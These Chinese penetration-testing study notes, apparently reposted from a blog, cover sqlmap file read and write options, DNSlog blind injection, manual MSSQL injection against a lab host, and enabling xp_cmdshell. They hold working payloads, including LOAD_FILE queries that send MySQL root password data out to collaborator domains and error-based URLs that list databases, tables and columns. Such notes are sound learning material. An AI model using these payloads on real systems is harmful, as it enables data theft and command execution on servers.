2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记

sqlmap参数
--file-read,从数据库服务器中读取文件
--file-write,--file-dest,把文件上传到数据库服务器中

dnslog平台的学习和它在盲注中的应用
1,判断注入点
2,测试网站对DNSlog提供的url是否解析
SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\abc'));
SELECT LOAD_FILE,可以读文件,做DNS请求
例子,select load_file(group_concat('\\',(select concat(user,password)from users limit 3,1),'.6rylw1tbh2htjx3hap90nqqj8ae02p.burpcollaborator.net..\aaa'));
如果网站的响应时间长的话,说明可以解析
3,使用concat拼接url和sql语句来注入得到数据

mssql手工注入
1,判断注入点,http://192.168.190.148/less-1.asp?id=1',提示 '1'' 后的引号不完整。 说明有注入点
2,判断数据库类型,http://192.168.190.148/less-1.asp?id=1' and exists(select * from sysobjects)-- ,有结果没报错说明后台数据库是sql server
还有其他方法,常用框架组合方法,例如常见的,asp+mssql,php+mysql/页面报错信息
3,select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa,http://192.168.190.148/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('sysadmin'))>0-- 页面没报错说明是sa账户
select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner),http://192.168.190.148/less-1.asp?id=1' and (select is_srvrolemember('db_owner'))>0--,页面没返回信息说明数据库没读写权限
select is_srvrolemember('public');判断是否有public权限,可以爆破表,http://192.168.190.148/less-1.asp?id=1' and (select is_srvrolemember('public'))>0-- 页面正常显示,说明有public权限
4,信息收集,当前数据库,数据库版本,
http://192.168.190.148/less-1.asp?id=1' and (select @@version)=1 --,会报错,返回结果会出来sql server版本
,http://192.168.190.148/less-1.asp?id=1' and (user)=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。 爆出当前用户是dbo
http://192.168.190.148/less-1.asp?id=1' and (select db_name())=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在将 nvarchar 值 'test' 转换成数据类型 int 时失败。 ,爆出当前数据库是test
SELECT db_name(0);函数从0开始,0为当前数据库,将db_name函数下的参数改变,可以爆出所有的数据库
http://192.168.190.148/less-1.asp?id=1' and (select top 1 name from master..sysdatabases where name not in ('aspcms','master','model')) >1--
select top 3 name from master..sysdatabases;可以查询所有数据库,加上条件,where name not in ('db_name','dbname') 表示找到的结果不在设置的集合,就可以爆出所有数据库
5,获取当前数据库的表
http://192.168.190.148/less-1.asp?id=1'and (SELECT top 1 name from test.sys.all_objects where type='u' and is_ms_shipped=0)>1-- ,获取第一个表名 emails
http://192.168.190.148/less-1.asp?id=1'and (SELECT top 1 name from test.sys.all_objects where type='u' and is_ms_shipped=0 and name not in ('emails'))>1-- ,获取除去emalis之后第一个表,not in里依次增加爆出的表,得到所有表
6,获取当前数据库指定表的字段
http://192.168.190.148/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users')>1 --获取第一个字段
http://192.168.190.148/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id'))>1 --,获取除了id之外的第一个字段,not in后依次增加字段就可以获得所有字段名
http://192.168.190.148/less-1.asp?id=1'and (select top 1 name from syscolumns where id =OBJECT_ID('users'))>1--,获取第一个字段
http://192.168.190.148/less-1.asp?id=1'and (select top 1 name from syscolumns where id =OBJECT_ID('users')and name not in ('id'))>1--,获取除了id之外的第一个字段,not in依次增加直到获取所有字段
7,获取表中指定字段的值
http://192.168.190.148/less-1.asp?id=1' and (select top 1 username from users)>1 --,获取指定字段的数据,字段只能1个1个修改注入

mssql的xp_cmdshell扩展
Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell',查询xp_cmdshell扩展是否打开
exec master..xp_cmdshell 'whoami' 调用xp_cmdshell扩展
提示报错,SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。打开查询分析器,执行即可
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

原文地址:https://www.cnblogs.com/sym945/p/11760806.html